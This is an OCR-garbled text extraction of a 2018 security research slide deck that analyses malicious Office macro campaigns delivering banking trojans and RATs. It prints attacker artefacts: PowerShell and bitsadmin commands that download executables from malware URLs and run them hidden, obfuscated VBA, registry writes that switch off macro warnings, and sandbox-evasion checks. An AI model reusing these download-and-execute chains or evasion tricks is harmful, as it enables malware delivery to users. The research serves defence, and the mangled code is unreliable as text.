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Evolution of Macro malware

@ Security Warning  Macros have been disabled, | Options..,
« Macro malware extremely prevalent in
early 2000s
) _ ) Enable Editing and Enable Content to adjust the
* Microsoft disabled macros by default in encoding ofthis Microsoft Word™ document,
Office 2007
g aY. RSA Encrypted Message
* Resurgence of macro malware with attacks
focusing on users (CLICK[ENABLE[CONTENT] This il is secured with RSA key.
Please enable content to view the document
« Evasive macro malware and multi-stage ENABLE CONTENT
payloads . & .
. . . Rk
* Microsoft adds new feature in Office 2016

to block macros in high risk scenarios




Office Documents — Overall vs. Malicious

Enterprise transactions involving Office Documents — approx. 1 million/day

Overall Office Documents [Nov 2018] Malicious Office Documents [Nov 2018]
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Typical infection lifecycle

Malspam or targeted Invoices, Shipping labels, Bank statements
campaigns E-mails with link or attachment

Embedded macro to download and

Malicious Office execute malware

Documents

ste anal
NETWORK & SYSTEM ?é% %g ng to run macro

FINGERPRINTING E?O{@t N fhegcret message

RAT / Infostealer
Ransomware
CoinMiners

MALWARE PAYLOAD



Study approach

* Detailed analysis of ~1,200 malicious documents during past two years
which had very low AV detections

« Manual analysis as well as sandboxing results
« Campaign definition
» Little broad

* Looked at URLs, filenames, timeframe, vulnerability exploit used, code
obfuscation, code encryption and evasion/anti-analysis techniques used to
cluster payloads

* Focus on malicious documents usage for malware delivery

Tools used

» oletools, sandbox for macro emulation, Ollydbg, biffview, Office 2007/2013

©2018 Zscaler, Inc. All rights reserved



Campaign #1 - AppRun

* Malicious documents using Application.Run VBA method for obfuscation and
indirect function calling.

* Observed during Feb 2018 - Mar 2018 time period.
* Drops Win32.Banker.Ursnif and Win32.Banker.Emotet
« Spam email with malicious document attachment as initial infection vector.

« Sample attachment names included - Landstar Request.doc,
Judgment_Patterson Racing.doc, Judgment_Gandhi International Shipping.doc
etc.



Campaign #1 — AppRun Variant 1

* Due to “On Error Resume Next” , there will be no error and macro code will run flawlessly.

Functiun krupdsFP ()

on Error Besume Next
Application.Bun tUfoaLilMulsch,
waqZfJHenDhUWELQzt . ThEL 1 TNnzfNNORZBIWHAT 1Ly lug. EkidzwiktwF QR
JNagikwzptrsUNGHsmEEcOAEORLD

|cDMzSd = MgDFQoF + cdGogsG (" (wPdLC]W PWRIYIW F", &, 3)

ipplication.Run tUfoalLiLMulsoh.

vaglf JHCnDhUWELQzt . ThEL 1 INnzfNNORZBELWHAX 1br 1y EkiJzwiktuFQR
JNagikwzptrsUNGHsmEEcOAEORLO

ipplication.Run VenwCLiwpoliKCzweE.
IvkCziuiBEMvpizjTpfICOGhzwe . GDNF X lanilnjmdspzLVTHzCuup . FEwmiauGzgekevwBGAOWTEETd
AhwOD 3z i BT e HMnfdCHOigaF b

NkFiVQowu = oRria + chqsGi"lQQE.ijEPLRlBTB#E%QJw%%!!%uirKBDD%j%lcfnLDZcB_Eu_", 16, 12)
Lpplication.Bun VenwCLiwpoiiKCzuck.




Campaign #1 — AppRun Variant 1

« PowerShell for downloading the final payload. PowerShell code is stored in an encrypted
form.

* For decryption, it first reverse the encrypted string and then extract the substring based on
predefined values

cid FHGL3SzT WIQinevEOPlEiucwubDli ZEnzRthiuvG & %C*om" S pEc% %C" om" 5" pEc%

Y /¢ | Snsadasd = &{'n'+'e'+'v-chiec'+'t') randowm:SYYU = { ne'+'w'+ -chiect') System.Net,
uiEmfinOsktt=pegset “rAYhE fehClient ;SHSB = Snsadasd.next{ 10000, 202107} FSADCY =
4JWikZILCZKR %=1 %qXEmFIn0SkEY i ya: / fvegasp Lugy. com/ Baliz L63/ Bhttp: / /musews-display-cases, en/ 800D/ Bhttp: / / canaiskad
eré&set MsLXqErYXMOVZe=19 o .o /57559/Ahttp:// kunst-t-raw-ur lavb-sylt. de/ 0262457/ Ahttp://dellenmis . com/ TEGH/
ELLUJSNTRRYRWELSEE BZNFEUTH  ap)ip( 10y ;6SDC = Senvipublic + '\ + §HSB + {'.=x'+'c');foreach{asfc in SADCK){

I %wi I gguﬁ
|1 43wikaLCZKRS | | 4sL Xat v Erp{§YYU, "Do Tnl OadF T le"(§asfe. "ToStr i g™ (), $SDC) &{' Trve'+'k'+'e-Tren' ) (§SDC) ;
wrifEsl " & (Get-vAriAELe '
break;}catch{}}
[FunTilMe.I i
sECUrEStrinGtoGloBAlallocalsT |




Campaign #1 — AppRun Variant 2

A variant with AutoClose event, garbage code, indirect calls using Application.Run VBA

method.

Use of mshta.exe for downloading the second stage downloader
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Al 1uETOPFNUELOEI()

dIBrIHTVpUqu = "wEUEWveTyelGTiJoZo™ + "TogQRdOprTvIieviixlrBo™ 4+ LTrim{ "VAVxniiTOTupZl"™y +

BTrim{ "nGelENgExg™) 'Garbage code

Lzo1rry y
B =3
AIncOsm3dsO=d

~replace

NkkwijWsklU = 1179 - 442 - 700 - 945 - 1357 'Garbage code
CdnSZgwbgni = 472 - 1315 - 1782 - 272 - 620 - 1600 - 422 - 236 'Garbage code
|Applicatiun.Run "nYAZ0PEMegkIGOER" 'Indirect calls

foEQUHEARD = "EUTwQiREu¥LpOrvpuBzroNEuGPE" + "EeNTIOGuuToWPOETLEThEnNoMyZE" + "Ef
'Garhage code

Liigqudy = 247 + 1969 + 1420 + 1968 + 1167 'Garbage code

Z0f0ZId = "vaFfegfjgvDIviikEfRASggEp™ + "EroVIizWFPoEPoEPALUYE"™ 'Garbage code
NUROMgpZuLl = BTrim{"zToMLwlXRin"y + LTrim{"EFcilvGEEmuMiTLOr™)
End Sub

'Garbage code

RICEO=E1LS0O=-34 50
EFlSs0=m3de s0=3 [ S0
fzae0atlaol=ad . 0=
LeDOadacOadsoclO=md
LbE00=9d sO0=md+50=43
kEeEO0amdes0=md™ ' S0
EEl=d

PO=3™ ™ S0a3dsO=d

a3 C s0=md 1l a0=<3d a0
fra0adiclds:dnagll=s)
- s0=31 S0=3 = S0
LEed0agdeacldad . adsag

S0=3 ' creplace

T I LI LD N, AT T, F f e L IO LI =T L=t - L CIIIN L= LC L=l =T - T F § F

= f=crript =




Campaign #2 - ProtectedMacro

« Malicious documents with password protected macro code and VBA form
properties to store encrypted downloader code.

« Observed this campaign starting from Jul 2017 and is still active.

* Drops Win32.Banker.ZeusPanda, Win32.Banker.Trickbot, and
Win32.Trojan.Emotet malware payloads.

* Observed three variants in this campaign.



Campaign #2 — ProtectedMacro Variant 1&2

* In the first variant, the PowerShell code parts are stored in VBA form properties like form
caption or text box

Function pPjisJpi) Fow
L£L£RT = ofjdt.TextBoxl [ cococooooo0o0000000000 4
LdEr = mserip Mkl i

Jfderjd = LdEr + ££RT e el
Set Jodir = Createfbhject ("W" + J£Jerid) S
Jodir.Run OJej, 0O . . . . . )
End Function

« In the second variant, the PowerShell code is encrypted and stored in VBA form TextBox.
TextBox controls are hidden by setting positional values as negative.

Add new blank x|

Format s GBYY3UIASEUINGE kW gS Yk chl IKu=331Tuk 33bsu, 451 Qs3kyp: ©

B TuemfrkAesfody
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Campaign #2 — ProtectedMacro Variant 2

« The PowerShell code is encrypted by
value.

« PowerShell code creates a batch file in %TMP% folder with name as Xvepvm.bat and run
this batch file. PowerShell code in this batch file will download the final payload.

imprort e
decrypted powershellCode=""
Ehr‘r‘mted powershel] Code—

CodujpMo ! v

"AMLSne ! ZMLOLZA!' OpCSx fsSCMTiCLEmMm! ! # ({SOMpxTL.fsTLMI fromT ! $ CML4 Mg
JohZ~! “-I_ .
Lomple s “"_]'_

fHMLu s }___;HH

] ¥ ZptcdcMmo,

Tas=zCC| I LL
ZSgeglSM |

“LL]*:.:L I TCMCubsZln . C0sZLpds L—"']_:: ! CHMS { e TULMHM. I_Z:‘: ZLEZYwWEMOSg=
MLLEj ZMCoeMCSprTuCMSzmt 'MT jeefZ5084 ZMS5™

LIPS

- for charc in re.sul{"C

" yencrypted powershellCode) :
r{ocrd {(charc) -1}

decrypted powers
print decrypted ocwershellCode

#cmd fo PowerShell "'"PowerShell ""function xelix{[String] Fgson) { (Hew-0Object
System.Net.WelkClient) . DownloadFile (Fgeon, " "$TMFE\Eoscsln.exe” ") ; Start—Frocess
"rETMPE\EoScaln-sEs’ sl tryl ®slix{’ 'hLLR: /S IIDactdvk-co-uk/datas/scan00l.pde’ ")}
catch{ xelix(" "htop:/ hossadelajaklog.comsdatass3cand0l.gdf" ") 1" ™ | Cutc-File
—encoding ASCII —-FilePath $TMFI\Evep¥km.bat; Start—Frocess "STMFIZ\XveRpykm.bat"

—WindowStyle Hidden™

inserting junk characters and changing the ASCII

<



Campaign #2 — ProtectedMacro Variant 3

e In third variant, BITSAdmin command line tool was used to download malware. Macro code

contains useless variable and loops as anti-analysis measure

Diym Contcrerasshaptilistsower laln AsS String
Dim anointssvyvmmposSsiumnmsSssvyinhbosiuns LAs Integer
anoint=ssvrrmposjumsSSsywmposjums = 9965

Do TWhile asanointssvyinposSsiumnsSsSyinposiumms <= S0O065

anointcssvyimposSiumsSsSvyinphoSiuns = anointssvymposSsiunsSsvyinposiuams + 7
Loop

Dirmm reconnect==flood]lightedMycenases A=z Intedger
reconnectsfloodlightcedMMycenases = 1065
Do TWhile reconnectsfloodlightedMycenases < 5208

Loop

reconnectsfloodlightedMyocenacses = reconhect=floodlightedMyocenases + 29

« BITSAdmin command is encrypted by inserting junk uppercase characters [A-Z].

____________________ pKKIVER g -
nExX1vY G0 1 2 7 JOEE.UOXL.O1U>LYVnBuJIYJY&JMDbGKI

WtURsIHaRBARVWmMRIDEnLKCR/DVIRQKrHIaWnWBEsDKVAGeXrCQPMQb
TaKRGcTkPuXpBDGP/HEJdZNoPwWOFNAPIYLSoRaNFFdFJ/HVZpQrVEXiJRoR
rViJYtJyDN XXShNUCiXgKBhCFXPBOHXQhGGtYZNIALG




Campaign #2 - ProtectedMacro Variant 3

* It replaces the content of current document with BITSAdmin command and saves the file as
batch file in %APPDATA% folder

ping--n-10-127.0.0.1=pul&bitsadmin- transfer-backup-/'download-'priority- high-http: /185148146207 capture zp-
"“oappdata®e zwiebacksmarriageaims exe"=nul &cd- "Yeappdata®e” &start- zwiebacksmarriageaims exeddel- "%o~£0"0

|.fu:1: iveblocuent . Zavels2 FileName:=keepstautologyrevolutions, FileFormat:=wdFormatDO3Text

* However, this malicious document will not work in Microsoft Office 2007 since it is using
ActiveDocument.SaveAs2 method which is only present in Microsoft Office 2010 and above
versions [1]

17



Campaign #3 - LeetMX

« The campaign name LeetMX [2] is derived from the fact that the payloads involved were
using leet text encoding for the filenames.

» Observed this campaign starting from Sep 2017 to Jun 2018

» Drops Win32.Backdoor.CyberRat, Win32.Backdoor.HawkEye and
Win32.Backdoor.Cybergate malware family payloads

Leet filenames Decoded
OfficcekeyValids.exe

Offlcc3k3yV4llds.exe

BITD3F3nder65.exe BITDeFendergs.exe

J4v4s0ck3t50v3r5371n5.exe Javasocketsoversetins.exe

FlashR .
Fl4shR4nsstmp465.exe ashRanssimpags.exe

JavAagsai.exe

OfficeTMP20i8.exe

JavA46541.exe

Off1c3TMP2018.exe

JavaSetupsoo.exe

J4v4S3tups00.exe




Campaignh #3 — LeetMX Variant 1

« The first variant using BITSAdmin to download the final payload

« Uses simple ASCII value to character conversion for decrypting the BITSAdmin command

string
* For delaying the execution, uses junk loops

Dim whbjchrbh s 3tring
whibjchrh = "2263504"

While whibjchrh <> 8428501

If whbhjchrh = "22698304" Then

hiiw = hiiw & ChrW(fjaxbenk.unzwyzge) & ChrWifjaxbenk.twnsi) 'bkscii to character conversion

whbichrh = "7435345"

End If

ChrW (fijaxbenk.ivyswe) 'Junk code

If whbjchrh = "3287201" Then 'Junk code
M ejwno Iz StTing TJUik Ccode

ejumo = "ES07262" 'Junk code

End If 'Junk code




Campaignh #3 — LeetMX Variant 2

 The second variant was using PowerShell for downloading final payload. The PowerShell
code was encrypted using XOR and 22 characters key.

encrypted=

"151C3F175582C424533F0ETS5650211A79YF3E43192E1536073 11E4F7F624F3706355D05697F2 2403455092800
OBE23271E4533C5306111B2D525B3 7147946584112 600455E2610 542045403 A0E351305271 41D 6DOFODSS0F071
25E0710403A4952733124405C215. ... "

key="hesHr#® #&3b]3 (D:T(W-} 4"

Frivate Function decrypt{key Lz String, encrypted As String) As String

Dim i As Long

Dim decrypted text As 3tring

Dim encrypted char Ls Integer

Dim key_char As Integer

For i = 1 To {(Len{encrypted) [ 2)

val 1 = (Midf{encrypted, (2 * i) - 1, 2})
Encrvnted_char = Val{"cH" & val_i'i

key char = hsc{Midi(kev, ({(i Mod Leni{kew)) + 1), 1)}
decrypted text = decrypted text + Chri{encrypted char Xor key char)

MNext 1
decrypt = decrypted text
End Function




Campaign #3 — LeetMX Variant 3

* In the third variant, VBScript control was used to run the downloader code. Downloader
code used "Microsoft. XMLHTTP" for downloading the final payload. Downloader code is

encrypted using junk characters

FPrivate 2C1 As New ScriptControl

Friwvate strl As String

FPriwvate Sub Homel)

Append3tring strl,
Append3tring strl,
Appenditring strl,
Append3tring strl,
Append3tring strl,
Appenditring strl,

Stra

"Dim
"Dim
"him
"Dim
"Dim

Character ("htotpd: /d/addovetf laashpd laydermlcus
Character ("Soub Madin() ™)
=1 :
=2
=3
=4 :
=25 :

=1
=2
=3
=4
=5

SC1.Lancguage = Character ("WBo3croaipt™)
Dim =trd A=z String:

Eeplace (™
Feplace ('
Feplace ('
Eeplace (™
Feplace ('

&
&
&
&
&

Haraxer (33)
Haraxer (33)
Haraxer (33
Haraxer (33)
Haraxer (33)

Fi B BB R

MEorXviiptiZy
"MicXyvirosoXy
rAdvZodh, St
"GEyZET™ &£ Ha
stri & Haraxe




Campaign #4 - OverlayCode

« Document payloads where an encrypted PowerShell code was appended to the file itself

ooo0935 30 55 Sl 73 OFD OO Os 00 OO0 OO0 42 529 o650 66 38 00 0O fa=Sw. - - - - Biffo. .
oooo0935 50 oo oo o0 45 7E 63 65 B6C ZE 53 68 65 65 74 ZE IS5 s s sExceEl.Sheec .. S
oooo09s s0 o0 F4 9 Bz 71 0o oo OO0 oo o0 oo oo 0o oo oo oo P e = e !

oooo093 70 o0 oo o0 OO0 OO oo oo OO0 o0 OO0 OO0 OO0 00 00 00 OO0 & 6 6 e s e s e s = = = = = = =
oooo093S0 o0 oo o0 OO0 OO oo oo OO0 o0 OO0 OO0 OO0 00 00 00 OO0 & 6 6 e s e s e s = = = = = = =
oooo9390 o0 oo o0 OO0 OO oo oo OO0 o0 OO0 OO0 OO0 00 00 00 OO0 & 6 6 e s e s e s = = = = = = =
ooO093 a0 oo oo o0 OO0 oo oo oo OO0 o0 o0 OO0 OO0 00 00 00 OO o0 000000 hhh e e ..
oOooO093EQ o0 oo o0 OO0 OO oo oo OO0 o0 OO0 OO0 OO0 00 00 00 OO0 & 6 6 e s e s e s = = = = = = =
oooo935co o0 oo o0 OO0 OO oo oo OO0 o0 OO0 OO0 OO0 00 00 00 OO0 & 6 6 e s e s e s = = = = = = =
(mininlni=bchrln] oo OO OO0 OO0 OO OO 00 OO OO OO0 OO0 OO 00O OO0 OO0 OO0 o 00 b o d e e e e e e a = =
oooOo09zEQ o0 oo o0 OO0 OO oo oo OO0 o0 OO0 OO0 OO0 00 00 00 OO0 & 6 6 e s e s e s = = = = = = =
oooo093Fo o0 OO 00 OO0 OO o0 OO0 OO0 OO 00 OO0 OO0 00 00 00 000 & 6 d e s s s = = = = = = = = =
oooo9g00 4z @99 6 6E 54 47 6E T4 64 4D 51 59 62 5639 56 65 EIlKZCGntiMOTYiive
oooo09g10 4z &2 5Z 5z 6B &C B&F &FB 73 7Z 4D 4& 59 4F 57 &4 ELRRkKlok=rHMF ¥Ollj
oooo09gz=0 72 92 &F &7 71 EE &2 58 7Y 5T T4 &5 S5A 4941 &9 7A rEogognbhVWwllce Zhi=
ooo093350 T2 55 8E 71 &1 53 7A VO 75 &1 5z 45 54 45 75 TS riUngadSzpuaRHTHaw
oo0O093-30 S0 45 48 45 55 4F 42E B6E 61 56 75 B6F 53 64 8E 53 FPHHHUTONDSWVUOS KD
oooo09g450 59 &D &F &5 4z 47 &9 7O &2z 59 4D VO 7e 74 52 50 imoeEBGivh THMpwLhP
ooo09gs0 4z 59 &F 73 53 42 46 44 &7 5S4 71 &5 79 82 7T OSC E¥osSEFDgZgewluwl
ooO09<370 SO 54 TA 47 74 71 54 SA V9 S4A 45 56 63 7S S5zE2 4T FPZzGogTIilvIiIFVoxRG
ooo09450 54 4946 4D 55 55 53 5L 45 45 49C 55 4942 VO 65 54 51 TFMUUS ZHHLXEpe £
oooo9ag90 43 9=z T4 77 55 76 76 6B &5 &6 54 44h 57 44 42 a4 CEzwllrkef TJIWIES

OoO0O09<3 h0 59 4h o 0OD OA 09 =2C 05 3ID 28 20 32z =Z2C 18 1E 74 iJl. .., a=( E,..15
ooo09 49RO 10 1= ZA 54 &C 3D 0D 25 1o 1F 36 39 3F 37 01 =24 e T1l=. (. .6927.5
ooo09goc0 15 ZhAh 12 21 74 31 23 =9 15 01 27 55 47 15 1D ZF LWL l=l1fga . UG, S
OoO0O09-3T0 FC 14 SA 2A 1E 3B 3C F5 7O 39 22 1D 277 1494 368 7A .1 F.o<SwOTT. 6=

» Observed this campaign starting from Aug 2017 till Feb 2018
* Drops Win32.Backdoor.NetWiredRC and Win32.PWS.Lokibot family payloads



Campaign #4 — OverlayCode Variant 1

Searches
“5054425

the encrypted PowerShell code using bookmark
34C43344A5554574D4D31565031” upon execution.

Dim H K As 3tring

Dim EJ UEZV iz String

Dim J LTE iz Long

Dim UI O As Srring

Dim iFile Az Integer: iFile = FreeFile

Open ActivelDocument.FullName For Binary Lz #iFile
UI o = 3plit(Input (LOF(iFile), iFilej, "505442534C4334345554574D4D31565031™) (2)

Cloze #iFile
zoTo x2

Shell H K, vbHide
GoTo %3

PowerShell code is encrypted using ASCII value substitution method

For i

=1 To Len(encrypted code) Step 2

encrypted char = Chre{"cH" § Mid({sncrypted cnde, 1, )} e.g.-0x7D

decrypted_code = decrypted _code & Chr(&sc(sncrypted_char) - 13) €0.-UX/U(pP)

Hexﬂ



Campaign #4 — OverlayCode Variant 2

Second variant was an excel document which used similar file structure for embedded
PowerShell code.

Identical method to extract the encrypted code

On Error GoTo QUQIKgMNMNFWsgxglzEIiHTnokkghk

NJRLSOLTFihwnaQzXQNSDEWDeURHo = Shell (QFQlbwvrn,

1ZscVuSbOKuiaRYIxzOiburelNdnO)
On Error GoTo O

IQFQIbvrn = “"powershell.exe -executionpolicy bypass -WindowStyle Hidden -nopr... |

DoEwvents

RhedcaChidMP = OpenProcess (£H100000, O,
If RhedcaChidMP <> 0 Then

WaitForSingleObject RhedcaChidMP, &£HFFFFFFFF
CloseHandle RhedcaChidMP

NJRBSOLTFihwnaQzXONSDEWDeURHO)

Using OpenProcess and WaitForSingleObject windows APls



Campaign #4 — OverlayCode Variant 2

 Self-Delete — RunOnce —

Dim ACOQOkfOgqUszbxF A=z String
Dim EXY¥FHpFogeE Az String

LACOkfOgqUzhxF = Ztronv (3trConyv (gYREBtRMAlIQxumiCEgVp (TEound (g¥YnEBCRMAl Qi CRoVp) )
EYFHpFoeE = Mids§ (ACokfoqUsbxF, 3, Len(lCOokfogUzhxF))

biwuBU = YxFBOZQOZX(["wCqgZZSZItrTuiOtATulyiBPPYgK"™, XYFHpFgeK

gd) ,

128)

bivwiBL = "powershell. exe -executionpolicy bypass -WindowStyle Hidden -noprof...

B CoolJBE'T BiwuED, U

L = T T |

Dim g¥nEBLRMALOxumiCKgWp
g¥nEBtRMAl QxumiCEgWp = Split (ExLVJIgPmBranEY¥vREsoDsDwDlgHOkO,

"BI1KZGnt ) :
Dim biwuBU As String Error 3
Dim ACQREfQOUzbxF Az String —

Dim EY¥FHpFogeK As 2tring

ACQkEfQgUzhxF = 3trcConv (3trConv (gYnEBCRMAl Qi CEgVp (UBound (g¥nEEcRMA L 'E
EYFHpFoel = Mid§ (ACQkE£QqUezhxF, 3, Len(iCQkfoqUzhxFl) 2

" _‘ Wrong data

Error starting task
File not Found

YHFBOZoOZX [ "wCaXZSZTtrTulOt Aulv 1 BPP Y

CooQBT biwuEU, O




Campaign #4 — OverlayCode Variant 2

No function in macro code that deletes overlay data

Self-Deletion works even if file is just opened

Parsed excel file in Biffview [3] and found that it has WRITEACCESS record [4]

BIFF BOF (B50%h) 16 00 06 05 00 54 38 cp 07 ¢l c0O 01 00 06 07 00 OO

BEIFF INTEEFACEHDE (Elh) 2 BO 04

BIFF MMS (Clh) 2 00 00

BIFF INTERFACEEND (EZh) 0

BIFF WRITEACCESE (5Ch) 112 06 00 00[4E 6F 72 6D 61 GE |20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 =20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Junk data in WRITEACCESS record which makes excel to update the WRITEACCESS
record with username that last opened it.



Campaign #5 - xObjectEnum

« Macro code in the documents were using enum values from different built-in classes in
VBA objects

— —

UW obszarze Pasgk komuni'katé\.; I-clil-'c'nii p'ozycjeuw#atcz z'a‘wartoé_é.
FAKTURA VAT KOREKTA

nr ##4 Migjsce wystawienia: FEHHHHRS
oryginat / kopia Data wystawienia: #H####0E
Daotyczy faktury VAT nrissass:

............................................ Sposab zaplaty #EEEHE
Termin zaptaly #HHHEHE

Nabywca:

« We observed this campaign starting from May 2017 to Apr 2018

« These excel documents were using Italian, Polish and German invoice and VAT templates

<



Campaign #5 - xObjectEnum

« The code checks enum value before starting infection cycle

« This method is used to bypass the emulation tools and detect office

version

Sub Workhook Openf()

If x1Floor > 0 Then

Shell nanobool, xlDataBarBorderNone

End If

End Sub

Private Function stupidan({ByVal rava is Integer, EyV
Randomize

randonNunkber = Int((gef - rava) ¥ BEnd) + rava
stupidan = randoriumber

End Function

I ey

—ul Worklbook Openf)

If x15parkColumn > 0 Then
SthpmHhan=Emmyﬁummaryﬂhuve
End If

End Sub

Function montesural)
montesura = "d o 4+ Chr(34)
End Function

-



Campaign #5 - xObjectEnum

PowerShell for downloading the final payload

PowerShell code is obfuscated and uses sleep function

cHMd fc"pDWERShELL| -NonilTeRACLivE -NoPr -—-exeCuTi ByPA3S -WinDo hIDDen
25 N2 0r{1N"T —f' =o', 'biect'  '‘new') (WU{L1P{3r{Sr{0{E2F{4NW"

-f't','syst!', ' .webhelie!' [ tem' ,'nt!' ' .ne!' )L ('d'+H'ow'+ ' nloadfil' +
'e') . Invoke ('https://fordata.co/bml' !
eXe' ) twhile ('8 ) e (V{0 {1 "—F ' 3tar', 33", ' t-proce' ] ! LExe! I

cHMd JfoefpoweR3hell -NoniNTeRaCtivE -NoPr -exeCuTi EyFASS -WinDQ hIDDen

"do{=zsleep

fdo{=leep

gy v"M2r{or{1m" —£'-o', 'biect', 'new' ) (AVM{IP{IF{SI{0M{E{4N"

-f't!',,'sysc! ' .uwebelie! e 'Rt P .ne!' ) ('Ad'+H'ow'+ ' nloadfil ! +

'e') . Invoke ('https:/fscaricapay. vinfeco!' !

exXe' ) twhile ('8 (V{02 {1V —E ' 3tar', 'S8, ' t-proce' ] ! eXe' "



Campaign #6 - PingStatus

The documents used Win32_PingStatus WMI class to detect sandbox
ping to location.microsoft.com and %userdomain%

Observed in Mar 2018 and dropping Win32.PWS.Mimikatz

3ub AutoOpen()
On Error Resuwe HNext

Set|IngenPthDbiDngic = GetOhject ("vimngmts: ") .Get ("Tin3d2 Ping3tatus.iddress='location.mwicrosoft.com' ,FesolvelddressNanes=True") |
With ImogenPhotobiologic
Debug.Print "Status Code: "™ & .Statuscode

If .3tatusCode = 0 Then
Etzellnpolishedness = False

ElseIf .3tatuscCode > 0 Then
Etzellnpolishedness = False

Else 'No DN3 Eesolution
EtzellUnpolishedness = True

End If
End With
Eet ImogenPhotobiologic = GetCbject ("vimngmts:™) .Get ("TindZ Ping3tatus.dddress='" & Environd ("userdomain™) & "';RESDlveAddressNames=Trud"
With ImogenPhotobiologic

Debug.Print "3tatus Code: " & .StatusCode




Campaign #7 - Multiple embedded macros

» Malicious RTF document contains multiple embedded Excel sheets
» Observed this campaign starting from Aug 2017 to Apr 2018

« Dropped Win32.Backdoor.AgentTesla, Win32.PWS.LokiBot, Win32.Backdoor.Remcos
payloads

* Macro warning popup to enable or disable macro

Microsoft Office Excel Security Motice

@ Microsoft Office has identified a potential security concern.

Warning: It is not possible to determine that this content came
from a trusbtworthy source. You should leave this content disabled
unless the content provides critical functionality and you trust its
Source.

File Path: Bookl

Macros have been disabled. Macros might contain viruses or other security
hazards. Do not enable this content unless you trust the source of this file.

More information

[ Emable Macros ] || Disable Macros §




Campaign #7 - Multiple embedded macros

* No way to stop these popups except to click on all of them or to force quit Word app

 One of the malicious RTF had 10 embedded Excel sheets



Campaign #7 - Multiple embedded macros

Last

Enable macro removes additional warning popups

Macro code disables the warning popup from windows registry

= execld + execl + exec2 + execd + execd + execS + exect + exec? + execd + exec9 4+ execl0ld + execO0ll + execOl2

Zhell [(Last)
Hgn = CreateChject ("M&3cript.3hell™)

Jet

=T
T30,
uso.
PBegiiritce

Fegllrite
Regllirite
Fegllrite

.Regllrite
Pegiicitce
Pegiicitce
PBegiiritce

THECT, Softwareh Microsofeh Officel 11

L0 WMordh Securicyy VBATarnings™,
PHECT, Software) Microsofth Office’d 12.
"HECTY Zoftware’ Microsofty Office 14.
PHECTY Software’ Microsofth Office 15.
PHECT, Software) Microsofth Officed 16.
"HECTY, Sofrware’ Microsofth Officel 11.
"HECTY Software’ Microsofth\ Officel 12.
PHECTY Software’ Microsofth Office’ 14.

. "REG DWORD™
; "REG DWORD™
, "REG_DWORD™
0% Word' Security\VEAVarnings", 1, "REG_DWORD™
0% Wordh Security\VBAVarnings", 1, "REG DWORD™
0% PowerPointh Securityh VBAVarnings™, 1, "REG DWCRD™
0% PowerPoint' Security\ VEAWarnings", 1, "REG DWCRD™
0% PowerPointh Security\ VEAVarnings™, 1, "REG_DWCORD™

0% Wordh Securityy VEATarnings",
0% WMordh Securityy VEATTarnings™,



Campaign #7 - Multiple embedded macros

Usage of “\objupdate” control for embedded Excel sheet objects (OLE object)

Y £344 £322% 1ang1033Y langfel03 3 gyr idy langnpl033Y langfenpl033) insrside112870% charrsid6112870 {obhjecthohierh{\ Sobizlass
Excel.SheetMacroEnshled. 121 ghjupdate !’ *\ohjdata 01050000020000001b000000457563 65602253 686565744d6163 7264566162 A0a5642e31
00530000
d0cflle0albllas1000000000000000000000000000000003e000300fe££090006000000000000000000000001000000010000000000000000100000020
i e e e e o o o o e o o e e o o e o e

Triggers the macro code inside the embedded Excel sheet while the RTF document is
being loaded in the Microsoft Word application



ampaign #8 - HidelnProperty

» PowerShell code hidden using built-in and custom document properties
* This campaign was prevalent from Jul 2017 to Mar 2018

« Dropping and installing Win32.Banker.Emotet

Commenks: povwErsHelL.exe -—Exe_ULiconPoLicy bwPasS=s -
FroprofiLE  -WIRDOCOwsTwle  hibDen -
EncoleCccmmmds e

< |3

CAcTTuEBF ZankR = ActirelDocument .. CustomDocwmmentPropertcies ("GnIkbhjm=Jds"")
+ ActiveDbDocument . CustomDocumentProperties ([ "tcodwEEKEOogyDht)

+ AcrCcivFreDociumment . CuscomDocumentPropertcie= | "dhJomCFos] ™) _

+ ActivreDociument . CustombDocumentProperties | "ohNkEwLaeBio )

+ ActivwreDociunent . BuiltInDocumentProperties ( "CommentsT)

OEJ5hell = ActiwveDocument. CustomDocurmentProperties ([ "alThRDWVEFTEPR™)

+ AcrCcivFreDbociumment o CuscomDocumentPropertcie=s ([ "W=3S30kWC3JXED )

+ Acti-reDociment . CustombDocumentPropertiez | "dhhJormCFos] ™)

CreateCbhiject (OBEJShell) - Pung CAcocTuBP ZankR, 0O

[nmmmediate

<

rower=hell —e JAE 7 AHCc ACWEgAGHMAY AESAMCGKACAEOLHOLTASMC LIl lC ThiewiAx~iHOL=wAWALHO]
LEVADMAMNWES AHsAMgAwAHOAewAWLHO A WwAXADNATOE 7 ADMAOOES AHSANgAX AHOAeWAYAD Y AFOEFADY
JwEBwAGwAaOBEOACC AL A AN AFMATwARD AC A ASOEMAH Y AL wEr AGTAK AL N ACWATWwAPADSATAEVAERLYLEE L
ATgE 7 ADEArOBE Y ADAAF OB TAD TAS A ACOAZgANALITNATwASLACCAAdwEvAGKAALAB L ACOAS LB wAC AL Al
WScript.Shell




Campaign #8 — HidelnProperty variants

« Obfuscated PowerShell command strings stored in custom properties

Properties: Mame Walue Type

W lwrgz mdkiy 33 3w, Text
Ly GxoZF [pwviinbshpo Text
zZISTPFH oepund jdell Text
rad o A i pp &8° Wis Text
oCHRmL ncmkitugr < Text
zBwnG L mcnb pc Text
ZamShuC Lojdhnciit . Text
MHMIpKva... urypBt

« Uses formatted string technique to build final PowerShell code

#{s CRIFT}=. (L1112} (0}"-2!Biess’, "B’ 'w-0') ~Condbject ("(011}(21131"-£'W", 'Se", "rip’, 'c. She]

', 'em’, 'et.Web') ;${r AN dOM}=. ("{1}{3}{0}{2}"-£'Riss’, 'Be’, 't', "w-0") ("{01{1}{2}"-£ rand
} zs}{5}{21}{1:3}{1}{12}{20}{15}{151" £i9", /0", " BE/C, " BskR: ", 'v/, http://luduien. com/TECK0]
TIGSCT, m', 7', o, ooT, com/LY, 'BeRR: ', emeshsmedia-co ', '//", 'EY, 'YC/", " /558", "Varcameray
gys.c','c'). II"{EI}{l}“ £'5pl’, "it") . Invoke (', ") ;5 {Na Hel=35{R AN dOM}. ("{1}{0}"-£!%", "nex’) . Invo}
